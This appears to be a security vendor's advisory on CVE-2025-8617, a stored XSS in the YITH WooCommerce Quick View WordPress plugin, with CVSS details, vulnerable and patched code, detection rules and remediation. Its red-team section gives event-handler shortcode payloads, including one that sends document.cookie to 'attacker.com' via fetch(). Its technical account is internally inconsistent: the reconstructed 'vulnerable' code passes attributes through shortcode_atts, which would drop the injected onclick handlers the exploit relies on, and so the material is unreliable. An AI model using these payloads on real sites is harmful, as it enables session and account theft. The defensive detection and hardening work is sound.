CVE-2025-8617

Executive Summary

CVE-2025-8617 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the YITH WooCommerce Quick View plugin for WordPress, affecting all versions up to and including 2.7.0. The flaw resides in the plugin's yith_quick_view shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including site administrators or visitors) accesses a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve server-level software like Apache or Nginx. The plugin is widely used to provide quick-view functionality for WooCommerce products, making this a high-impact vector for store compromise.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from YITH. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to execute stored XSS with low privileges in a widely-used e-commerce plugin elevates the risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability is triggered via the yith_quick_view shortcode, which is used to embed quick-view buttons or modals for WooCommerce products. The shortcode accepts user-defined attributes (e.g., product_id, label, class). Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript into these attributes.

Attack Flow:

1. An authenticated user with Contributor-level access (or higher) creates or edits a WordPress post/page.
2. The attacker inserts the yith_quick_view shortcode with a crafted attribute, such as:

   [yith_quick_view product_id="1" class="xss" onclick="alert('XSS')"]
   

3. The plugin renders the shortcode without properly escaping the class or other attributes, allowing the onclick event to be injected.
4. When any user (including administrators) views the page, the injected script executes in their browser.

Root Cause: The plugin uses esc_attr() inconsistently or not at all for shortcode attributes, and fails to validate or sanitize user input before outputting it in HTML context.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.7.0):

// In yith-quick-view.php or similar
function yith_quick_view_shortcode($atts) {
    $atts = shortcode_atts(array(
        'product_id' => '',
        'label' => __('Quick View', 'yith-woocommerce-quick-view'),
        'class' => '',
    ), $atts);

    // Direct output without escaping
    $output = '<a href="#" class="yith-quick-view ' . $atts['class'] . '" data-product_id="' . $atts['product_id'] . '">' . $atts['label'] . '</a>';
    return $output;
}

Patched Code (hypothetical fix):

function yith_quick_view_shortcode($atts) {
    $atts = shortcode_atts(array(
        'product_id' => '',
        'label' => __('Quick View', 'yith-woocommerce-quick-view'),
        'class' => '',
    ), $atts);

    // Properly escape attributes
    $class = esc_attr($atts['class']);
    $product_id = intval($atts['product_id']);
    $label = esc_html($atts['label']);

    $output = '<a href="#" class="yith-quick-view ' . $class . '" data-product_id="' . $product_id . '">' . $label . '</a>';
    return $output;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with YITH WooCommerce Quick View plugin <= 2.7.0
• Authenticated user with Contributor-level access or higher

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode with a malicious payload:

   [yith_quick_view product_id="1" class="xss" onmouseover="alert(document.cookie)"]
   

4. Publish the post.
5. When any user hovers over the quick view link, the JavaScript executes.

Alternative Payload (steal cookies):

[yith_quick_view product_id="1" class="xss" onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the yith_quick_view shortcode with suspicious attributes (e.g., onclick, onmouseover, onerror).
• Use a Web Application Firewall (WAF) to block requests with XSS patterns in shortcode attributes.

Hardening:

• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Apply input validation and output escaping via a custom plugin or theme functions.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/yith-woocommerce-quick-view/ (presence of vulnerable version)
• Database: Posts/pages containing [yith_quick_view with on* event handlers in attributes
• Network: Outbound requests to attacker-controlled domains from the WordPress admin or frontend
• Logs: Suspicious shortcode usage in post revisions or activity logs

Detection Engineering

YARA Rule

rule CVE_2025_8617_YITH_Quick_View_XSS {
    meta:
        description = "Detects YITH WooCommerce Quick View plugin files with XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8617"
    strings:
        $vuln_func = "yith_quick_view_shortcode" ascii wide nocase
        $unsafe_output = /class="[^"]*".*\$atts\['class'\]/ ascii wide nocase
    condition:
        $vuln_func and $unsafe_output
}

Sigma Rule

title: CVE-2025-8617 - Stored XSS via YITH WooCommerce Quick View Shortcode
id: 7a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects posts/pages containing malicious yith_quick_view shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "yith_quick_view"
        http.url|re: "(onclick|onmouseover|onerror|onload)="
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcode (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8617 - YITH WooCommerce Quick View Stored XSS"; flow:to_server,established; content:"yith_quick_view"; http_uri; pcre:"/(onclick|onmouseover|onerror|onload)=/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Audit all posts/pages for malicious shortcode usage and remove them.
3. Restrict user roles – remove Contributor-level access from untrusted users.

Long-term Fix:

• Apply the patched code (see Vulnerable vs. Patched Code section) by modifying the plugin file directly, or wait for an official update from YITH.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.

Workaround:

• Use a security plugin (e.g., Wordfence) to block shortcode injection attempts.
• Add the following to your theme's functions.php to sanitize shortcode output:

add_shortcode('yith_quick_view', 'custom_yith_quick_view_shortcode');
function custom_yith_quick_view_shortcode($atts) {
    $atts = shortcode_atts(array(
        'product_id' => '',
        'label' => __('Quick View', 'yith-woocommerce-quick-view'),
        'class' => '',
    ), $atts);
    $class = esc_attr($atts['class']);
    $product_id = intval($atts['product_id']);
    $label = esc_html($atts['label']);
    return '<a href="#" class="yith-quick-view ' . $class . '" data-product_id="' . $product_id . '">' . $label . '</a>';
}

Valters IT
Securing Digital Frontiers